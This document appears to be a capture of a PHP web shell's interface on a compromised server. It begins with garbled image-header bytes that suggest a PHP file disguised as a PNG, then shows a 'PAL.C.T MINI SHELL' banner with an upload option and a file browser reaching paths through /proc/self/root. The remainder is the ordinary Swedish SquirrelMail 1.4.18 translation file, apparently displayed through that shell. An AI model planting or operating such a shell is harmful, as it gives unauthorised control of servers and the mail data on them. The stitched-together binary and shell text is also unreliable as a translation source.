‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/sv_SE/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/sv_SE/LC_MESSAGES/squirrelmail.po

# Swedish (sv_SE) SquirrelMail Translation
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Johan Fernberger <johan@fernberger.com>, 2002.
# Fredrik Jervfors <jervfors@squirrelmail.org>, 2004-2009.
# $Id: squirrelmail.po 13758 2009-05-25 12:25:11Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: SquirrelMail 1.4.18\n"
"Report-Msgid-Bugs-To: SquirrelMail Internationalization <squirrelmail-"
"i18n@lists.sourceforge.net>\n"
"POT-Creation-Date: 2009-04-17 14:35+0200\n"
"PO-Revision-Date: 2009-05-25 14:22+0200\n"
"Last-Translator: Fredrik Jervfors <jervfors@squirrelmail.org>\n"
"Language-Team: Swedish <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

msgid "Address Book"
msgstr "Adressbok"

msgid "All"
msgstr "Alla"

msgid "To"
msgstr "Till"

msgid "Cc"
msgstr "Kopia"

msgid "Name"
msgstr "Namn"

msgid "E-mail"
msgstr "E-postadress"

msgid "Info"
msgstr "Information"

msgid "Source"
msgstr "KĂ€lla"

msgid "Bcc"
msgstr "Dold kopia"

msgid "Use Addresses"
msgstr "AnvÀnd adresser"

msgid "Cancel"
msgstr "Avbryt"

msgid "Address Book Search"
msgstr "Sök i adressbok"

msgid "Search for"
msgstr "Sök efter"

msgid "in"
msgstr "i"

msgid "All address books"
msgstr "Alla adressböcker"

msgid "Search"
msgstr "Sök"

msgid "List all"
msgstr "Visa alla"

#, php-format
msgid "Unable to list addresses from %s"
msgstr "Det gÄr inte att visa adresser frÄn %s"

msgid "Your search failed with the following error(s)"
msgstr "Sökningen misslyckades med följande fel"

msgid "No persons matching your search were found"
msgstr "Hittade inga personer överensstÀmmande med din sökning"

msgid "Return"
msgstr "Tillbaka"

msgid "Close"
msgstr "StÀng"

msgid "Nickname"
msgstr "Kortnamn"

msgid "Must be unique"
msgstr "MÄste vara unikt"

msgid "E-mail address"
msgstr "E-postadress"

msgid "Last name"
msgstr "Efternamn"

msgid "First name"
msgstr "Förnamn"

msgid "Additional info"
msgstr "Extra information"

msgid "Add to:"
msgstr "LĂ€gg till:"

msgid "No personal address book is defined. Contact administrator."
msgstr "Ingen personlig adressbok Àr angiven. Kontakta administratören."

msgid "You can only edit one address at the time"
msgstr "Du kan bara Àndra en adress Ät gÄngen"

msgid "Update address"
msgstr "Uppdatera adress"

msgid "ERROR"
msgstr "FEL"

msgid "Please select address that you want to edit"
msgstr "VÀlj en adress att Àndra"

msgid "Add address"
msgstr "LĂ€gg till adress"

msgid "Edit selected"
msgstr "Ändra vald"

msgid "Delete selected"
msgstr "Ta bort valda"

msgid "Compose to selected"
msgstr "Skriv till valda"

msgid "sort by nickname"
msgstr "Sortera efter kortnamn"

msgid "sort by name"
msgstr "Sortera efter namn"

msgid "sort by email"
msgstr "Sortera efter e-postadress"

msgid "sort by info"
msgstr "Sortera efter information"

#, php-format
msgid "Add to %s"
msgstr "LĂ€gg till i %s"

#, php-format
msgid "%s wrote:"
msgstr "%s skrev:"

msgid "quote"
msgstr "citat"

msgid "who"
msgstr "vem"

#, php-format
msgid "On %s, %s wrote:"
msgstr "Den %s skrev %s:"

msgid "Subject"
msgstr "Ärende"

msgid "From"
msgstr "FrÄn"

msgid "Date"
msgstr "Datum"

msgid "Original Message"
msgstr "Ursprungligt brev"

msgid "Draft Email Saved"
msgstr "Utkast sparat"

msgid "Could not move/copy file. File not attached"
msgstr "Kunde inte flytta/kopiera filen. Filen bifogades inte."

msgid "Your draft has been saved."
msgstr "Ditt utkast har sparats."

msgid "Your mail has been sent."
msgstr "Ditt brev har skickats."

msgid "From:"
msgstr "FrÄn:"

msgid "To:"
msgstr "Till:"

msgid "Cc:"
msgstr "Kopia:"

msgid "Bcc:"
msgstr "Dold kopia:"

msgid "Subject:"
msgstr "Ärende:"

msgid "Send"
msgstr "Skicka"

msgid "Attach:"
msgstr "Bifoga:"

msgid "Add"
msgstr "LĂ€gg till"

msgid "Delete selected attachments"
msgstr "Ta bort valda bilagor"

msgid ""
"Because PHP file uploads are turned off, you can not attach files to this "
"message. Please see your system administrator for details."
msgstr ""
"Eftersom möjligheten att ladda upp filer med hjÀlp av PHP Àr avstÀngd gÄr "
"det inte att bifoga filer. Kontakta systemadministratören för mer detaljerad "
"information."

msgid "Priority"
msgstr "Prioritet"

msgid "High"
msgstr "Hög"

msgid "Normal"
msgstr "Normal"

msgid "Low"
msgstr "LÄg"

msgid "Receipt"
msgstr "Mottagningsbevis"

msgid "On Read"
msgstr "NÀr brevet lÀses"

msgid "On Delivery"
msgstr "Vid leverans"

msgid "Signature"
msgstr "Brevfot"

msgid "Addresses"
msgstr "Adresser"

msgid "Save Draft"
msgstr "Spara utkast"

msgid "You have not filled in the \"To:\" field."
msgstr "Du mÄste ange en mottagare."

#, php-format
msgid "Error: Draft folder %s does not exist."
msgstr "Fel: Katalogen &quot;%s&quot; för sparade utkast finns inte"

msgid "Message not sent."
msgstr "Brevet skickades inte."

msgid "Server replied:"
msgstr "Servern svarade:"

msgid "Illegal folder name. Please select a different name."
msgstr "OtillÄtet mappnamn. VÀlj ett annat namn."

msgid "Click here to go back"
msgstr "Klicka hÀr för att gÄ tillbaka"

msgid "You have not selected a folder to delete. Please do so."
msgstr "Du har inte valt vilken mapp som ska tas bort."

msgid "Delete Folder"
msgstr "Ta bort mapp"

#, php-format
msgid "Are you sure you want to delete %s?"
msgstr "Är du sĂ€ker pĂ„ att du vill ta bort %s?"

msgid "Yes"
msgstr "Ja"

msgid "No"
msgstr "Nej"

msgid "Folders"
msgstr "Mappar"

msgid "Subscribed successfully."
msgstr "Mappen har aktiverats."

msgid "Unsubscribed successfully."
msgstr "Mappen har avaktiverats."

msgid "Deleted folder successfully."
msgstr "Mappen har tagits bort."

msgid "Created folder successfully."
msgstr "Mappen har skapats."

msgid "Renamed successfully."
msgstr "Mappens namn har Àndrats."

msgid "Subscription Unsuccessful - Folder does not exist."
msgstr "Mappen har inte aktiverats, eftersom den inte existerar."

msgid "refresh folder list"
msgstr "uppdatera"

msgid "Create Folder"
msgstr "Skapa mapp"

msgid "as a subfolder of"
msgstr "som en undermapp till"

msgid "None"
msgstr "Ingen"

msgid "Let this folder contain subfolders"
msgstr "LÄt denna mapp innehÄlla undermappar"

msgid "Create"
msgstr "Skapa"

msgid "Rename a Folder"
msgstr "Byt namn pÄ en mapp"

msgid "Select a folder"
msgstr "VĂ€lj en mapp"

msgid "Rename"
msgstr "Byt namn"

msgid "No folders found"
msgstr "Inga mappar hittades"

msgid "Delete"
msgstr "Ta bort"

msgid "Unsubscribe"
msgstr "Avaktivera"

msgid "Subscribe"
msgstr "Aktivera"

msgid "No folders were found to unsubscribe from!"
msgstr "Inga mappar att avaktivera."

msgid "No folders were found to subscribe to!"
msgstr "Inga mappar att aktivera."

msgid "Subscribe to:"
msgstr "Aktivera:"

msgid "You have not selected a folder to rename. Please do so."
msgstr "Du har inte valt vilken mapp du vill byta namn pÄ."

msgid "Rename a folder"
msgstr "Byt namn pÄ en mapp"

msgid "New name:"
msgstr "Nytt namn:"

msgid "Submit"
msgstr "Spara"

msgid "ERROR: Help files are not in the right format!"
msgstr "FEL: HjÀlpfilerna har inte rÀtt format!"

msgid "Help"
msgstr "HjÀlp"

msgid ""
"Help is not available in the selected language. It will be displayed in "
"English instead."
msgstr ""
"HjÀlp finns tyvÀrr inte tillgÀnglig pÄ det valda sprÄket. Den kommer dÀrför "
"att visas pÄ engelska istÀllet."

msgid ""
"Help is not available. Please contact your system administrator for "
"assistance."
msgstr ""
"Det finns inte nÄgon hjÀlp tillgÀnglig. Kontakta systemadministratören för "
"assistans."

msgid ""
"This chapter is not available in the selected language. It will be displayed "
"in English instead."
msgstr ""
"Detta kapitel finns tyvÀrr inte tillgÀngligt pÄ det valda sprÄket. Det "
"kommer dÀrför att visas pÄ engelska istÀllet."

msgid "This chapter is missing"
msgstr "Detta kapitel saknas"

#, php-format
msgid "For some reason, chapter %s is not available."
msgstr "Av nÄgon anledning Àr kapitel %s inte tillgÀngligt."

msgid "Table of Contents"
msgstr "InnehÄllsförteckning"

msgid "Previous"
msgstr "FöregÄende"

msgid "Next"
msgstr "NĂ€sta"

msgid "Top"
msgstr "Upp"

msgid "Viewing an image attachment"
msgstr "Visar en bifogad bild"

msgid "View message"
msgstr "Visa brev"

msgid "Download this as a file"
msgstr "Ladda ner detta brev som en fil"

msgid "INBOX"
msgstr "Inkorg"

msgid "Purge"
msgstr "Töm"

msgid "Last Refresh"
msgstr "Senast uppdaterad"

msgid "Check mail"
msgstr "Uppdatera"

msgid "Login"
msgstr "Logga in"

#, php-format
msgid "%s Logo"
msgstr "Logotyp för %s"

#, php-format
msgid "SquirrelMail version %s"
msgstr "SquirrelMail version %s"

msgid "By the SquirrelMail Project Team"
msgstr "Av SquirrelMails utvecklingsteam"

#, php-format
msgid "%s Login"
msgstr "%s Logga in"

msgid "Name:"
msgstr "AnvÀndarnamn:"

msgid "Password:"
msgstr "Lösenord:"

msgid "No messages were selected."
msgstr "Inga brev var valda."

msgid "Options"
msgstr "InstÀllningar"

msgid "Message Highlighting"
msgstr "FĂ€rgmarkering av brev"

msgid "New"
msgstr "Ny"

msgid "Done"
msgstr "Klar"

msgid "To or Cc"
msgstr "Till eller Kopia"

msgid "subject"
msgstr "Ă€rende"

msgid "Edit"
msgstr "Redigera"

msgid "Up"
msgstr "Upp"

msgid "Down"
msgstr "Ner"

msgid "No highlighting is defined"
msgstr "Inget definierat markeringssÀtt"

msgid "Identifying name"
msgstr "Namn"

msgid "Color"
msgstr "FĂ€rg"

msgid "Dark Blue"
msgstr "MörkblÄ"

msgid "Dark Green"
msgstr "Mörkgrön"

msgid "Dark Yellow"
msgstr "Mörkgul"

msgid "Dark Cyan"
msgstr "Mörk cyan"

msgid "Dark Magenta"
msgstr "Mörk magenta"

msgid "Light Blue"
msgstr "LjusblÄ"

msgid "Light Green"
msgstr "Ljusgrön"

msgid "Light Yellow"
msgstr "Ljusgul"

msgid "Light Cyan"
msgstr "Ljus cyan"

msgid "Light Magenta"
msgstr "Ljus magenta"

msgid "Dark Gray"
msgstr "MörkgrÄ"

msgid "Medium Gray"
msgstr "GrÄ"

msgid "Light Gray"
msgstr "LjusgrÄ"

msgid "White"
msgstr "Vit"

msgid "Other:"
msgstr "Annat:"

msgid "Ex: 63aa7f"
msgstr "T.ex. 63aa7f"

msgid "Matches"
msgstr "ÖverensstĂ€mmer med"

msgid "Editing identities is disabled."
msgstr "Möjligheten att redigera identiteter Àr inaktiverad."

msgid "Default Identity"
msgstr "Förvald identitet"

#, php-format
msgid "Alternate Identity %d"
msgstr "Alternativ identitet %d"

msgid "Add a New Identity"
msgstr "LĂ€gg till identitet"

msgid "Advanced Identities"
msgstr "Avancerade identiteter"

msgid "Full Name"
msgstr "FullstÀndigt namn"

msgid "E-Mail Address"
msgstr "E-postadress"

msgid "Reply To"
msgstr "Svarsadress"

msgid "Save / Update"
msgstr "Spara/uppdatera"

msgid "Make Default"
msgstr "AnvÀnd som förval"

msgid "Move Up"
msgstr "Flytta upp"

msgid "Index Order"
msgstr "Indexeringsordning"

msgid "Checkbox"
msgstr "Ruta för val"

msgid "Flags"
msgstr "Ikoner"

msgid "Size"
msgstr "Storlek"

msgid ""
"The index order is the order that the columns are arranged in the message "
"index. You can add, remove, and move columns around to customize them to fit "
"your needs."
msgstr ""
"Indexeringsordning Àr ordningen pÄ kolumnerna i index. Visa, dölj och flytta "
"kolumnerna efter behov."

msgid "up"
msgstr "Upp"

msgid "down"
msgstr "Ner"

msgid "remove"
msgstr "Dölj"

msgid "Return to options page"
msgstr "Tillbaka"

msgid "Personal Information"
msgstr "Personlig profil"

msgid "Display Preferences"
msgstr "Utseende"

msgid "Folder Preferences"
msgstr "Mappar"

msgid "Error(s) occurred while saving your options"
msgstr "Fel uppstod nÀr instÀllningarna sparades"

msgid "Some of your preference changes were not applied."
msgstr "En del av Àndringarna kommer inte att tillÀmpas."

msgid "Successfully Saved Options"
msgstr "InstÀllningarna sparades"

msgid "Refresh Folder List"
msgstr "Uppdatera mapplistan"

msgid "Refresh Page"
msgstr "Ladda om sidan"

msgid ""
"This contains personal information about yourself such as your name, your "
"email address, etc."
msgstr "Personlig information, t.ex. namn och e-postadress."

msgid ""
"You can change the way that SquirrelMail looks and displays information to "
"you, such as the colors, the language, and other settings."
msgstr "Omfattar bl.a. fÀrger, sprÄk och hur brev visas."

msgid ""
"Based upon given criteria, incoming messages can have different background "
"colors in the message list. This helps to easily distinguish who the "
"messages are from, especially for mailing lists."
msgstr ""
"Brev kan markeras med fÀrger baserat pÄ t.ex. avsÀndarnamn, Àrende eller "
"liknande. Detta gör det enkelt att utskilja brev frÄn t.ex. e-postlistor, "
"eller brev som innehÄller en sÀrskild Àrenderad."

msgid ""
"These settings change the way your folders are displayed and manipulated."
msgstr "Hur mappar visas och hanteras."

msgid ""
"The order of the message index can be rearranged and changed to contain the "
"headers in any order you want."
msgstr "Vilka kolumner som visas i index och ordningen pÄ dessa."

msgid "Message not printable"
msgstr "Brevet gÄr ej att skriva ut"

msgid "Attachments:"
msgstr "Bilagor:"

msgid "Unknown sender"
msgstr "OkÀnd avsÀndare"

msgid "Info:"
msgstr "Information:"

msgid "Size:"
msgstr "Storlek:"

msgid "Type:"
msgstr "Typ:"

msgid "Invalid URL"
msgstr "Ogiltig URL"

msgid "Printer Friendly"
msgstr "UtskriftsvÀnligt"

msgid "Print"
msgstr "Skriv ut"

msgid "View Printable Version"
msgstr "Visa utskriftsvÀnlig version"

msgid "Read:"
msgstr "LĂ€st:"

msgid "Your message"
msgstr "Ditt brev"

msgid "Sent"
msgstr "Skickat"

#, php-format
msgid "Was displayed on %s"
msgstr "Visades %s"

msgid "less"
msgstr "fÀrre"

msgid "more"
msgstr "fler"

msgid "Mailer"
msgstr "Klient"

msgid "Read receipt"
msgstr "Mottagningsbevis"

msgid "sent"
msgstr "Skickat"

msgid "requested"
msgstr "BegÀrt"

msgid ""
"The message sender has requested a response to indicate that you have read "
"this message. Would you like to send a receipt?"
msgstr ""
"AvsÀndaren har begÀrt ett mottagningsbevis för att se att du har lÀst detta "
"brev. Vill du skicka ett mottagningsbevis?"

msgid "Send read receipt now"
msgstr "Skicka mottagningsbevis nu"

msgid "Search Results"
msgstr "Sökresultat"

msgid "Message List"
msgstr "Index"

msgid "Resume Draft"
msgstr "Redigera utkastet"

msgid "Edit Message as New"
msgstr "Redigera som nytt brev"

msgid "View Message"
msgstr "Visa brev"

msgid "Forward"
msgstr "Vidarebefordra"

msgid "Forward as Attachment"
msgstr "Vidarebefordra som bilaga"

msgid "Reply"
msgstr "Svara"

msgid "Reply All"
msgstr "Svara alla"

msgid "View Full Header"
msgstr "Visa hela brevhuvudet"

msgid "Attachments"
msgstr "Bilagor"

msgid "You must be logged in to access this page."
msgstr "Du mÄste vara inloggad för att nÄ denna sida."

msgid "Folder:"
msgstr "Mapp:"

msgid "Saved Searches"
msgstr "Sparade sökningar"

msgid "edit"
msgstr "redigera"

msgid "search"
msgstr "sök"

msgid "delete"
msgstr "ta bort"

msgid "Recent Searches"
msgstr "Senaste sökningarna"

msgid "save"
msgstr "spara"

msgid "forget"
msgstr "glöm"

msgid "Current Search"
msgstr "Aktuell sökning"

msgid "All Folders"
msgstr "Alla mappar"

msgid "Body"
msgstr "Text"

msgid "Everywhere"
msgstr "Överallt"

msgid "No Messages Found"
msgstr "Inga brev hittades"

msgid "Please enter something to search for"
msgstr "Ange nÄgot att söka efter"

msgid "Signout"
msgstr "Utloggning"

msgid "Sign Out"
msgstr "Logga ut"

msgid "You have been successfully signed out."
msgstr "Du har loggats ut."

msgid "Click here to log back in."
msgstr "Logga in igen"

msgid "Viewing a Business Card"
msgstr "Visar ett visitkort"

#, php-format
msgid ""
"vCard Version %s is not supported. Some information might not be converted "
"correctly."
msgstr ""
"vCard version %s stödjs inte. Viss information kanske inte konverteras "
"korrekt."

msgid "Title"
msgstr "Titel"

msgid "Web Page"
msgstr "Webbsida"

msgid "Organization / Department"
msgstr "Organisation/avdelning"

msgid "Address"
msgstr "Adress"

msgid "Work Phone"
msgstr "Arbetstelefon"

msgid "Home Phone"
msgstr "Hemtelefon"

msgid "Cellular Phone"
msgstr "Mobiltelefon"

msgid "Fax"
msgstr "Fax"

msgid "Note"
msgstr "Notering"

msgid "Add to address book"
msgstr "LĂ€gg till i adressboken"

msgid "Title &amp; Org. / Dept."
msgstr "Titel och org./avd."

msgid "Viewing Full Header"
msgstr "Visar alla rubriker"

msgid "Viewing a text attachment"
msgstr "Visar en bifogad text"

msgid "View Unsafe Images"
msgstr "Visa osÀkra bilder"

msgid ""
"Could not include PEAR database functions required for the database backend."
msgstr "Det gick inte att anvÀnda nödvÀndiga PEAR databasfunktioner."

#, php-format
msgid "Is PEAR installed, and is the include path set correctly to find %s?"
msgstr "Är PEAR installerat och korrekt sökvĂ€g angiven till %s?"

msgid "Please contact your system administrator and report this error."
msgstr "Rapportera detta fel till systemadministratören."

msgid "Personal address book"
msgstr "Personlig adressbok"

#, php-format
msgid "Database error: %s"
msgstr "Databasfel: %s"

msgid "Address book is read-only"
msgstr "Adressboken Àr skrivskyddad"

#. i18n: don't use html formating in translation
#, php-format
msgid "User \"%s\" already exists"
msgstr "AnvÀndaren \"%s\" finns redan"

#. i18n: don't use html formating in translation
#, php-format
msgid "User \"%s\" does not exist"
msgstr "AnvÀndaren \"%s\" finns inte"

#, php-format
msgid "User '%s' already exist."
msgstr "AnvÀndaren \"%s\" finns redan."

msgid "Not a file name"
msgstr "Ogiltigt filnamn"

msgid "No such file or directory"
msgstr "Det finns ingen katalog eller fil med det namnet"

msgid "Open failed"
msgstr "Kunde inte öppna"

msgid "Write failed"
msgstr "Skrivning misslyckades"

msgid "Unable to update"
msgstr "Kunde inte uppdatera"

msgid "Address book is corrupted. Required fields are missing."
msgstr "Adressboken Àr korrupt. NödvÀndiga fÀlt saknas."

msgid "Address book entry is too big"
msgstr "Adressboksposten Àr för stor"

msgid "Could not lock datafile"
msgstr "Kunde inte lÄsa datafilen"

msgid "Write to address book failed"
msgstr "Kunde inte skriva till adressboken"

msgid "Error initializing address book database."
msgstr "Fel vid initiering av adressboksdatabasen."

#, php-format
msgid "Error opening file %s"
msgstr "Fel vid öppnandet av filen %s"

msgid "Global address book"
msgstr "Global adressbok"

msgid "Error initializing global address book."
msgstr "Fel vid initiering av den globala adressboken."

#, php-format
msgid "Error initializing LDAP server %s:"
msgstr "Fel vid initiering av LDAP-servern %s:"

msgid "Click here to change the sorting of the address list"
msgstr "Ändra sorteringen av adresslistan"

msgid "Invalid input data"
msgstr "Ogiltigt data"

msgid "Name is missing"
msgstr "Namnet saknas"

msgid "E-mail address is missing"
msgstr "E-postadress saknas"

msgid "Nickname contains illegal characters"
msgstr "Kortnamnet innehÄller otillÄtna tecken"

msgid "View"
msgstr "Visa"

msgid "View Business Card"
msgstr "Visa visitkort"

msgid "Your session has expired, but will be resumed after logging in again."
msgstr ""
"Sessionen har gÄtt ut men kommer att Äterupptas efter förnyad inloggning."

msgid "Sunday"
msgstr "Söndag"

msgid "Monday"
msgstr "MÄndag"

msgid "Tuesday"
msgstr "Tisdag"

msgid "Wednesday"
msgstr "Onsdag"

msgid "Thursday"
msgstr "Torsdag"

msgid "Friday"
msgstr "Fredag"

msgid "Saturday"
msgstr "Lördag"

msgid "Sun"
msgstr "Sö"

msgid "Mon"
msgstr "MĂ„"

msgid "Tue"
msgstr "Ti"

msgid "Wed"
msgstr "On"

msgid "Thu"
msgstr "To"

msgid "Fri"
msgstr "Fr"

msgid "Sat"
msgstr "Lö"

msgid "January"
msgstr "Januari"

msgid "February"
msgstr "Februari"

msgid "March"
msgstr "Mars"

msgid "April"
msgstr "April"

msgid "May"
msgstr "Maj"

msgid "June"
msgstr "Juni"

msgid "July"
msgstr "Juli"

msgid "August"
msgstr "Augusti"

msgid "September"
msgstr "September"

msgid "October"
msgstr "Oktober"

msgid "November"
msgstr "November"

msgid "December"
msgstr "December"

msgid "Jan"
msgstr "Jan"

msgid "Feb"
msgstr "Feb"

msgid "Mar"
msgstr "Mar"

msgid "Apr"
msgstr "Apr"

msgid "Ma&#121;"
msgstr "Maj"

msgid "Jun"
msgstr "Jun"

msgid "Jul"
msgstr "Jul"

msgid "Aug"
msgstr "Aug"

msgid "Sep"
msgstr "Sep"

msgid "Oct"
msgstr "Okt"

msgid "Nov"
msgstr "Nov"

msgid "Dec"
msgstr "Dec"

msgid "D, F j, Y g:i a"
msgstr "D, Y-m-d, h:i a"

msgid "D, F j, Y H:i"
msgstr "D, Y-m-d, H:i"

msgid "M j, Y"
msgstr "Y-m-d"

msgid "g:i a"
msgstr "h:i a"

msgid "H:i"
msgstr "H:i"

msgid "D, g:i a"
msgstr "D, h:i a"

msgid "D, H:i"
msgstr "D, H:i"

#, php-format
msgid "Preference database error (%s). Exiting abnormally"
msgstr "Fel i instÀllningsdatabas (%s). Avslutar programmet"

#, php-format
msgid "Click here to return to %s"
msgstr "Klicka hÀr för att gÄ tillbaka till %s"

msgid "Go to the login page"
msgstr "GĂ„ till inloggningssidan"

#, php-format
msgid ""
"Preference file, %s, does not exist. Log out, and log back in to create a "
"default preference file."
msgstr ""
"InstÀllningsfilen %s finns inte. Logga ut och in igen för att skapa en ny "
"instÀllningsfil."

#, php-format
msgid ""
"Preference file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr ""
"InstÀllningsfilen %s kunde inte öppnas. Rapportera detta fel till "
"systemadministratören."

#, php-format
msgid ""
"Preference file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr ""
"Det gick inte att skriva till instÀllningsfilen %s. Rapportera detta fel "
"till systemadministratören."

#, php-format
msgid ""
"Preference file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr ""
"Det gick inte att kopiera instÀllningsfilen %s frÄn den temporÀra filen %s. "
"Rapportera detta fel till systemadministratören."

#, php-format
msgid "Error opening %s"
msgstr "Det uppstod ett fel nÀr filen %s skulle öppnas"

msgid "Default preference file not found or not readable!"
msgstr ""
"Filen med förvalda instÀllningar kunde inte hittas eller gick inte att lÀsa!"

msgid "Could not create initial preference file!"
msgstr "Kunde inte skapa en instÀllningsfil!"

#, php-format
msgid "%s should be writable by user %s"
msgstr "%s mÄste ha skrivrÀttigheter för anvÀndaren %s"

msgid "Signature is too big."
msgstr "Brevfoten Àr för stor."

#, php-format
msgid ""
"Signature file, %s, could not be opened. Contact your system administrator "
"to resolve this issue."
msgstr ""
"Brevfotsfilen %s gick inte att öppna. Rapportera detta fel till "
"systemadministratören."

#, php-format
msgid ""
"Signature file, %s, could not be written. Contact your system administrator "
"to resolve this issue."
msgstr ""
"Det gick inte att skriva till brevfotsfilen %s. Rapportera detta fel till "
"systemadministratören."

#, php-format
msgid ""
"Signature file, %s, could not be copied from temporary file, %s. Contact "
"your system administrator to resolve this issue."
msgstr ""
"Det gick inte att kopiera brevfotsfilen %s frÄn den temporÀra filen %s."
"Rapportera detta fel till systemadministratören."

msgid ""
"You need to have PHP installed with the multibyte string function enabled "
"(using configure option --enable-mbstring)."
msgstr ""
"Du mÄste ha PHP installerat med Multi-Byte String-funktionerna aktiverade "
"(anvÀnd --enable-mbstring i konfigureringsskriptet)."

msgid "ERROR: No available IMAP stream."
msgstr "FEL: Ingen IMAP-ström tillgÀnglig."

msgid "ERROR: Connection dropped by IMAP server."
msgstr "FEL: IMAP-servern har avbrutit anslutningen."

msgid "ERROR: Could not complete request."
msgstr "FEL: Operationen misslyckades."

msgid "Query:"
msgstr "FrÄga:"

msgid "Reason Given:"
msgstr "Orsak:"

msgid "ERROR: Bad or malformed request."
msgstr "FEL: Felaktig eller felskriven operation."

msgid "Server responded:"
msgstr "Servern svarade:"

msgid "ERROR: IMAP server closed the connection."
msgstr "FEL: IMAP-servern stÀngde förbindelsen."

msgid "ERROR: Unknown IMAP response."
msgstr "FEL: OkÀnt svar frÄn IMAP-servern."

#, php-format
msgid "Error connecting to IMAP server: %s."
msgstr "Kunde inte kontakta IMAP-servern: %s."

msgid "The IMAP server is reporting that plain text logins are disabled."
msgstr "IMAP-servern tillÄter inte klartextsinloggningar."

msgid "Using CRAM-MD5 or DIGEST-MD5 authentication instead may work."
msgstr "Det kan fungera att anvÀnda CRAM-MD5 eller DIGEST-MD5 istÀllet."

msgid "Also, the use of TLS may allow SquirrelMail to login."
msgstr "Dessutom kan det eventuellt fungera att anvÀnda TLS."

#, php-format
msgid "Bad request: %s"
msgstr "Felaktig operation: %s"

#, php-format
msgid "Unknown error: %s"
msgstr "OkÀnt fel: %s"

msgid "Read data:"
msgstr "LĂ€s data:"

msgid "Unknown user or password incorrect."
msgstr "Felaktigt anvÀndarnamn eller lösenord."

msgid "ERROR: Could not append message to"
msgstr "FEL: Kunde inte lÀgga till brevet till"

msgid "Solution:"
msgstr "Lösning:"

msgid ""
"Remove unneccessary messages from your folders. Start with your Trash folder."
msgstr "Ta bort onödiga brev. Börja med brev i din papperskorg."

#, php-format
msgid "Invalid mailbox name: %s"
msgstr "Ogiltigt brevlÄdenamn: %s"

msgid "(no subject)"
msgstr "(Ă€rende saknas)"

msgid "Unknown Sender"
msgstr "OkÀnd avsÀndare"

msgid "Unknown response from IMAP server:"
msgstr "OkÀnt svar frÄn IMAP-servern:"

msgid "The server couldn't find the message you requested."
msgstr "Servern kunde inte hitta brevet du begÀrde."

msgid ""
"Most probably your message list was out of date and the message has been "
"moved away or deleted (perhaps by another program accessing the same "
"mailbox)."
msgstr ""
"Antagligen Àr listan med dina brev för gammal och brevet flyttat eller "
"borttaget (kanske av ett annat program som anvÀnder samma brevlÄda)."

msgid "Unknown date"
msgstr "OkÀnt datum"

msgid "A"
msgstr "B"

msgid "Thread sorting is not supported by your IMAP server."
msgstr "IMAP-servern stödjer inte korrespondensvyer."

msgid "Server-side sorting is not supported by your IMAP server."
msgstr "IMAP-servern stödjer inte sortering av brev."

msgid "THIS FOLDER IS EMPTY"
msgstr "DENNA MAPP ÄR TOM"

msgid "Move Selected To"
msgstr "Flytta valda brev till"

msgid "Transform Selected Messages"
msgstr "Ändra status pĂ„ valda brev"

msgid "Move"
msgstr "Flytta"

msgid "Expunge"
msgstr "Töm papperskorgen"

msgid "Read"
msgstr "LĂ€st"

msgid "Unread"
msgstr "OlÀst"

msgid "Unthread View"
msgstr "Normal vy"

msgid "Thread View"
msgstr "Korrespondensvy"

msgid "Toggle All"
msgstr "VĂ€xla val"

msgid "Unselect All"
msgstr "VĂ€lj inga"

msgid "Select All"
msgstr "VĂ€lj alla"

#, php-format
msgid "Viewing Messages: %s to %s (%s total)"
msgstr "Visar brev: %s till %s (%s totalt)"

#, php-format
msgid "Viewing Message: %s (%s total)"
msgstr "Visar brev: %s (%s totalt)"

msgid "Paginate"
msgstr "Sidbryt"

msgid "Show All"
msgstr "Visa alla"

msgid "SquirrelMail could not decode the bodystructure of the message"
msgstr "Brevet har en struktur okÀnd för SquirrelMail."

msgid "The bodystructure provided by your IMAP server:"
msgstr "Strukturen enligt IMAP-servern:"

msgid ""
"Body retrieval error. The reason for this is most probably that the message "
"is malformed."
msgstr ""
"Fel vid hÀmtning av innehÄll. Anledningen till detta Àr antagligen att "
"brevet Àr felaktigt utformat."

msgid "Command:"
msgstr "Kommando:"

msgid "Response:"
msgstr "Svar:"

msgid "Message:"
msgstr "Brev:"

msgid "FETCH line:"
msgstr "HĂ€mta rad:"

msgid "Hide Unsafe Images"
msgstr "Dölj osÀkra bilder"

msgid "Download"
msgstr "Ladda ner"

msgid "sec_remove_eng.png"
msgstr "sec_remove_sv_SE.png"

msgid "This external link will open in a new window"
msgstr "Denna externa lÀnk kommer att öppnas i ett nytt fönster"

#, php-format
msgid "Option Type '%s' Not Found"
msgstr "Valet '%s' finns inte"

msgid "Delete Selected"
msgstr "Ta bort valda"

#, php-format
msgid "Edit List Layout Type '%s' Not Found"
msgstr "Layouttypen '%s' för listval finns inte"

msgid "Current Folder"
msgstr "Aktiv mapp"

msgid "Compose"
msgstr "Nytt brev"

#, php-format
msgid "Error creating directory %s."
msgstr "Kunde inte skapa katalogen %s."

msgid "Could not create hashed directory structure!"
msgstr "Kunde inte skapa katalogstruktur!"

msgid "Email delivery error"
msgstr "E-postleveransfel"

#, php-format
msgid "Can't execute command '%s'."
msgstr "Kan inte exekvera kommandot '%s'."

msgid "Can't open SMTP stream."
msgstr "Kan inte öppna SMTP-strömmen."

msgid "Service not available, closing channel"
msgstr "TjÀnsten Àr inte tillgÀnglig. StÀnger kanalen."

